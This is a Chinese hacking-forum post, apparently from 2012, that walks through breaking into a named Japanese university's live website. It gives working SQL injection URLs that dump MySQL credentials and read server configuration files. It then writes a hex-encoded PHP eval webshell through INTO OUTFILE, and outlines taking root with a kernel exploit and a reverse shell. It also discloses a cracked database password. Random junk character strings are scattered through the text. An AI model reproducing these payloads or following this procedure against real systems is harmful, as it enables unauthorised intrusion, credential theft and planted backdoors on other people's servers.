找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2403|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析  X3 y/ e1 T- s" w- m$ G5 }
, p$ P$ g0 `$ z9 X3 ^. m+ c
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
* r4 T$ k/ F& D. J4 Y然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
& C7 i  A- s9 r! k% h- {1 ]
+ ]: [* ?/ p0 S4 D0 bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
% l, w8 h* [. I
4 f) D% E# }+ Y/ K1 @' c+ N* W! m + `/ B; G3 A  ]; r! @
$ I- @! N5 v4 ?: Z7 X
//@@datadir为数据库文件路径 ! |: H% f- h, _
. l2 ?8 Y9 e0 e9 o7 z

* J) A( n. |3 t6 H% X, ^//load_file读取网站容器apache的配置文件 - f7 z- O& M3 \/ @& V# [6 d
( Y! s' q2 a% A0 W

8 E, Y7 k/ B" k5 c" K7 _3 d6 G//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 - ^- O2 R5 u0 {% k% L
复制代码
. {6 r4 x4 G" f9 S7 ]" G0 _, f- S4 m9 X; E5 A8 b0 ]5 I6 O0 C
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。( A; L: k2 f8 E: v
" L# E6 x) w% w' e& j
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。, g  i2 m8 P  G2 j" v+ H
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
0 a# T$ [2 N* `8 t3 B$ [- y
% j8 o3 \/ w. W前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。( T) {& Q" H! Y8 V/ B
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
  W8 j  E& U4 W/ g! Z. |- ~7 L; d  Q& P" [" v5 x" Y% f
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/6 E- p7 ~! i& t6 H* p5 p0 [
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
, f4 s4 i6 C/ x  P直接写一句话:0 D9 w# G8 i; t; J! B- E% P
4 j$ j9 Q7 t6 L! f9 k* m
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
! L6 N: j1 o& D+ T! F- T) }
! _8 P) s' B2 I) a/ D 7 _$ U" E: i$ S* l
( ]- {* D) o- A; z$ B
//最后的#是为了闭合前面的语句
8 o, e; I, L! r+ E $ w! M5 @0 C6 H7 [/ L

) O* i0 F+ y4 [0 \0 r' o8 J3 N: z/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E + M# Z( l: i: T$ ~- G6 w0 d
( P  F* F* a* \7 T7 N8 [7 P8 ~( |

1 [+ y6 r! }: _" z! v  r为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
9 p) k/ z0 H# ~! z. F, V: d2 K' F' B 8 N; U" S! ]+ q* B! l8 Y
6 p* U% H# L8 k+ `& j# o
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 " Y3 v. y/ s# K; P0 n; N: i( h

# V, t  O; a$ x; y
0 G1 Y/ p4 x" F/ E  B# c2 c//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 " ]9 s6 [1 D4 f0 }. E2 f/ k3 l
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” " j! a' K4 k& P  a( k
复制代码
) O2 z6 h- t7 c$ w% n& f
, X4 \6 A  R3 p+ `5 x) s7 SHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有, f: P9 k. v# m, q8 i7 e
通过上述注入语句,我们就得到了一句话木马:4 X: z9 F3 P8 X

* Z' ^, ^$ z' n
+ k  j' o* N9 I) f  ?
7 I9 ?& b; A1 j6 _! [! O - H# h/ f  Q5 p* W- J3 C4 {: w

' U2 F: q+ b3 vhttp://www.doshisha.ac.jp/english/engnews_img/aa.php : }# M  c- C- G) c
复制代码
. j) k* L9 f1 A, L9 z" l" y
, J- P. P( L6 l2 y用菜刀连接,密码是cmd,如图所示:
3 J: d8 l  r) {7 U8 {8 [. T7 i然后在命令提示行里看了一下,现在的权限是:
. ~7 i( c3 G4 \. R/ H  @6 ~% `8 S. t7 ?( m
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。" U7 N) C9 {: ?
好在赋权给这个文件夹不需要root,直接执行赋权语句:# c# I' E+ H% Z  i

# P) ]$ I& h" a6 ^$ m5 G
  ?* l0 f* t# ]% F# E1 s( B; n/ W/ ]% O2 ?4 a8 f5 f
2 \4 ?% c5 `1 U

7 A: e9 |" s. P3 {2 e9 u. [6 schmod +x /tmp/
* d6 z: u5 c( C" N, k% N/ v复制代码
8 T6 ]# t. p- Z( {+ a4 N( G  d, ]6 @$ H6 ?% _6 p, f
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行1 j, ^  L6 V' z
然后就查了一下内核版本:
' U+ B, Z* \$ @2 B  h' m* B( c& Z1 V; b. x8 G3 I: [9 j0 b3 W

8 U5 y+ W. r4 [. s  p
$ C) A2 b2 J/ S  B1 U# b
' t9 \" C* t7 e' _5 v
0 U( x5 ]) z- A( Euname-a
. }& @( |$ d8 u 0 l$ g1 d+ S; Z* ^# j: ?* |
+ v* j; z& e2 f" A
//其实lsb_release -a ( w" M( w. {3 J) f# E! s: U
复制代码
) O% v$ P4 b1 o% r" b. _
. E  C: P1 v9 S如图所示:
1 L: ^; W- {' v. }( I& Y
2 o5 Y( I- ]2 J  ^1 r: T7 w内核版本:linux mainz1 2.6.28-194.e15- e" @5 ~" v; i% \( r; k) G3 U
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)4 l: o# \8 C4 Y7 `, _6 s1 @
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
0 R: a& s* A2 W& f9 o8 o  D4 J7 n! G9 Y9 T. K) K1 w+ c
然后给予执行权限
( S, j6 a. p5 Z1 g3 ^一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样, O4 m  N# y( ~$ x$ `
2 ^; T1 g" ?- Y+ Q6 P2 \

7 R9 Y% n6 ~/ K, o8 \0 a( b( O
9 l# q3 N/ ]2 ^# @
. J$ Q. J. k0 u; A4 e0 \3 W. ?2 m/ c+ m3 m- D
chmod +x /tmp/2.6.18-194 & V6 _- G- C6 F8 W% w. H7 f
复制代码 然后直接执行!~. K. E. d% T  j6 c6 ?7 U
6 A% s' T8 D/ k7 J! x+ p
总结:1 `  G0 r% B  X
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
3 D+ K% _& N# _& N- M! G提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
5 X7 y* @. r  M9 y8 P2 I- n1 `. Y) n; Y$ I6 e1 r7 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表